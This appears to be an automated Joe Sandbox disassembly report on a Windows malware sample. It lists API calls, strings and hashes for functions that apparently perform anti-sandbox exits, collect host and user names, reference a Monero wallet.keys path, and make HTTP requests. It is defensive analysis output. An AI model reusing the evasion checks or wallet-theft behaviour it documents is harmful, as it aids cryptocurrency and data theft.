Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 20affdf4a6af844ebff306a30938b095f3ef9b74e64371dc7337c09245e7506d
Instruction ID: 264df64fd2835cf5439b6f3362c5b22813c370f8325f592869879f7fdb0cf188
Opcode Fuzzy Hash: 20affdf4a6af844ebff306a30938b095f3ef9b74e64371dc7337c09245e7506d
Instruction Fuzzy Hash: 81E11D719502089ADB4CFBE0DC56EEF733ABB94340F40852CB507661D1EF34AA49CBA6

Function 006017A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 006017C5
ExitProcess.KERNEL32 ref: 006017D1

Strings

block, xrefs: 006017B7

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 3c59f16b71f26a3bf26e4fcedca30fc7090c19a2d660a5d661951ffd81290f95
Instruction ID: da9c4cd5e17b11e3558ccb7bba75935ced5c282880d9fc78c7147d3b093d4334
Opcode Fuzzy Hash: 3c59f16b71f26a3bf26e4fcedca30fc7090c19a2d660a5d661951ffd81290f95
Instruction Fuzzy Hash: 205129B4A44209EFDB08DFA4D964AFF77B6BF45704F108458E406AB280D770E992CB62

Function 00607500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00607542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0060757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00607603
RtlAllocateHeap.NTDLL(00000000), ref: 0060760A
wsprintfA.USER32 ref: 00607640

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

Strings

a, xrefs: 0060764D, 00607655, 0060761B, 00607623
C, xrefs: 0060754C
\, xrefs: 00607560
:, xrefs: 0060755C

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$a
API String ID: 1544550907-2828524113
Opcode ID: 85c8723c609f2675431079220cc60d8a2616c8da6b76fef202dfe3c5c0c16689
Instruction ID: 56a9726eefc2ca1acf281287666ef60e6df3a831f6c86581719964664ff0c570
Opcode Fuzzy Hash: 85c8723c609f2675431079220cc60d8a2616c8da6b76fef202dfe3c5c0c16689
Instruction Fuzzy Hash: FC41C0B1D44248ABDB18DF94DC85BEEBBB9BF58700F100198F509672C0DB75AA44CFA5

Function 006069F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00609860: GetProcAddress.KERNEL32(75900000,01400618), ref: 006098A1
Part of subcall function 00609860: GetProcAddress.KERNEL32(75900000,01400720), ref: 006098BA
Part of subcall function 00609860: GetProcAddress.KERNEL32(75900000,014005A0), ref: 006098D2
Part of subcall function 00609860: GetProcAddress.KERNEL32(75900000,014005B8), ref: 006098EA
Part of subcall function 00609860: GetProcAddress.KERNEL32(75900000,014007F8), ref: 00609903
Part of subcall function 00609860: GetProcAddress.KERNEL32(75900000,01408890), ref: 0060991B
Part of subcall function 00609860: GetProcAddress.KERNEL32(75900000,013F6480), ref: 00609933
Part of subcall function 00609860: GetProcAddress.KERNEL32(75900000,013F65E0), ref: 0060994C
Part of subcall function 00609860: GetProcAddress.KERNEL32(75900000,014007B0), ref: 00609964
Part of subcall function 00609860: GetProcAddress.KERNEL32(75900000,014007E0), ref: 0060997C
Part of subcall function 00609860: GetProcAddress.KERNEL32(75900000,01400810), ref: 00609995
Part of subcall function 00609860: GetProcAddress.KERNEL32(75900000,01400708), ref: 006099AD
Part of subcall function 00609860: GetProcAddress.KERNEL32(75900000,013F6440), ref: 006099C5
Part of subcall function 00609860: GetProcAddress.KERNEL32(75900000,01400840), ref: 006099DE

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

Part of subcall function 005F11D0: ExitProcess.KERNEL32 ref: 005F1211

Part of subcall function 005F1160: GetSystemInfo.KERNEL32(?), ref: 005F116A
Part of subcall function 005F1160: ExitProcess.KERNEL32 ref: 005F117E

Part of subcall function 005F1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 005F112B
Part of subcall function 005F1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 005F1132
Part of subcall function 005F1110: ExitProcess.KERNEL32 ref: 005F1143

Part of subcall function 005F1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 005F123E
Part of subcall function 005F1220: ExitProcess.KERNEL32 ref: 005F1294

Part of subcall function 00606770: GetUserDefaultLangID.KERNEL32 ref: 00606774

Part of subcall function 005F1190: ExitProcess.KERNEL32 ref: 005F11C6

Part of subcall function 00607850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005F11B7), ref: 00607880
Part of subcall function 00607850: RtlAllocateHeap.NTDLL(00000000), ref: 00607887
Part of subcall function 00607850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0060789F

Part of subcall function 006078E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00607910
Part of subcall function 006078E0: RtlAllocateHeap.NTDLL(00000000), ref: 00607917
Part of subcall function 006078E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0060792F

Part of subcall function 0060A9B0: lstrlen.KERNEL32(?,01408AA0,?,\Monero\wallet.keys,00610E17), ref: 0060A9C5
Part of subcall function 0060A9B0: lstrcpy.KERNEL32(00000000), ref: 0060AA04
Part of subcall function 0060A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AA12

Part of subcall function 0060A8A0: lstrcpy.KERNEL32(?,00610E17), ref: 0060A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,014089E0,?,0061110C,?,00000000,?,00611110,?,00000000,00610AEF), ref: 00606ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00606AE8
CloseHandle.KERNEL32(00000000), ref: 00606AF9
Sleep.KERNEL32(00001770), ref: 00606B04
CloseHandle.KERNEL32(?,00000000,?,014089E0,?,0061110C,?,00000000,?,00611110,?,00000000,00610AEF), ref: 00606B1A
ExitProcess.KERNEL32 ref: 00606B22

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2931873225-0
Opcode ID: 5e8c12a63cfc836e89c3af7d88879e9e35f1035da7cb8423da661a59994581b0
Instruction ID: bd28ad8c57bebb7541662bbb8e8c0709ae355f2114454960ce37927c72e075e0
Opcode Fuzzy Hash: 5e8c12a63cfc836e89c3af7d88879e9e35f1035da7cb8423da661a59994581b0
Instruction Fuzzy Hash: DD310971A90209AADB4CF7E0DC56BEF777ABF44380F004518F242A61D2DF746905C6AA

Function 00606AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,014089E0,?,0061110C,?,00000000,?,00611110,?,00000000,00610AEF), ref: 00606ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00606AE8
CloseHandle.KERNEL32(00000000), ref: 00606AF9
Sleep.KERNEL32(00001770), ref: 00606B04
CloseHandle.KERNEL32(?,00000000,?,014089E0,?,0061110C,?,00000000,?,00611110,?,00000000,00610AEF), ref: 00606B1A
ExitProcess.KERNEL32 ref: 00606B22

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 233af0fce57abca33272be171d661835b9f3b519a848fc9a283464fa4a7b5c68
Instruction ID: 0415258a951b2b83895d6a887a802404fd837de626e6e6879e71ac1153669f95
Opcode Fuzzy Hash: 233af0fce57abca33272be171d661835b9f3b519a848fc9a283464fa4a7b5c68
Instruction Fuzzy Hash: 56F0BE70AC030AABE708BBA0CC0ABBF7B35FB04300F104918B943A11C1CBB05551DA5A

Function 005F47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005F4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 005F4849

Strings

<, xrefs: 005F47C9

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: f5f42dba7ef49e2ec42106a1fbcc587583d8b40559fbcaeb2f414ee72ee420a4
Instruction ID: b6f8818f03a3c97ea48f7af5043600e1e19925ae43efd16602cabb3f262d34d8
Opcode Fuzzy Hash: f5f42dba7ef49e2ec42106a1fbcc587583d8b40559fbcaeb2f414ee72ee420a4
Instruction Fuzzy Hash: 90215EB1D00209ABDF14DFA4EC49ADE7B79FB44320F108629F955A72D0EB706A09CB81

Function 006051F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0060A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0060A7E6

Part of subcall function 005F6280: InternetOpenA.WININET(00610DFE,00000001,00000000,00000000,00000000), ref: 005F62E1
Part of subcall function 005F6280: StrCmpCA.SHLWAPI(?,0140E430), ref: 005F6303
Part of subcall function 005F6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005F6335
Part of subcall function 005F6280: HttpOpenRequestA.WININET(00000000,GET,?,0140DB30,00000000,00000000,00400100,00000000), ref: 005F6385
Part of subcall function 005F6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 005F63BF
Part of subcall function 005F6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005F63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00605228

Strings

ERROR, xrefs: 0060521A
ERROR, xrefs: 00605273

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: eac490a2c7a73129107710ea7a6d0a30d9db5803111112bc57a3b76734b25767
Instruction ID: 4f750e866e92f913839312540dfd83e15e322276c334c98c61211fa7ad53a040
Opcode Fuzzy Hash: eac490a2c7a73129107710ea7a6d0a30d9db5803111112bc57a3b76734b25767
Instruction Fuzzy Hash: 6E112130940208A7DB5CFFA0DD56EEE773AAF90340F40815CF90A5A1D2EF34AB06CA95

Function 005F1220 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 005F123E
ExitProcess.KERNEL32 ref: 005F1294

Strings

@, xrefs: 005F1233

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 803317263-2766056989
Opcode ID: 229ced96b01c11d10c9003afd2c338a279313219fad64ddff27213fb3dffb6a6
Instruction ID: 0ca4c0cd145a653a461ee7d653060c235609d62154d899799f8a677da1b6c049
Opcode Fuzzy Hash: 229ced96b01c11d10c9003afd2c338a279313219fad64ddff27213fb3dffb6a6
Instruction Fuzzy Hash: BA014BB098030CEAEB14EBE4CC49BAEBB79BB04701F608548E705B62C0D7785541879D

Function 006078E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00607910
RtlAllocateHeap.NTDLL(00000000), ref: 00607917
GetComputerNameA.KERNEL32(?,00000104), ref: 0060792F

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 181a6c1d624cc2895e2733a8bfa7f82a923a442430a504c32a04fb5cb42f616f
Instruction ID: 73c35fa54244f65b7bd7d2c7f63ddf809a6c216754c052600dfb6355ed9aa16f
Opcode Fuzzy Hash: 181a6c1d624cc2895e2733a8bfa7f82a923a442430a504c32a04fb5cb42f616f
Instruction Fuzzy Hash: 410186B1944204EBC704DF98DD45BABBBB8FB44B21F104629F545E32C0C37559048BA1

Function 005F1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 005F112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 005F1132
ExitProcess.KERNEL32 ref: 005F1143

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 6094570cf4ddb38fa7c51e7256db51ee68e301e0f45cfa2ec671734de21455ba
Instruction ID: 19960d90252fb2ffee4f6c75d7c0bcf44feb1358a354f82cf92d1e8e60be5345
Opcode Fuzzy Hash: 6094570cf4ddb38fa7c51e7256db51ee68e301e0f45cfa2ec671734de21455ba
Instruction Fuzzy Hash: CAE0E67094534CFBE7146BA0DC0EB197A78BB44B01F104454F749765D0D6B52640969D

Function 005F10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 005F10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 005F10F7

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
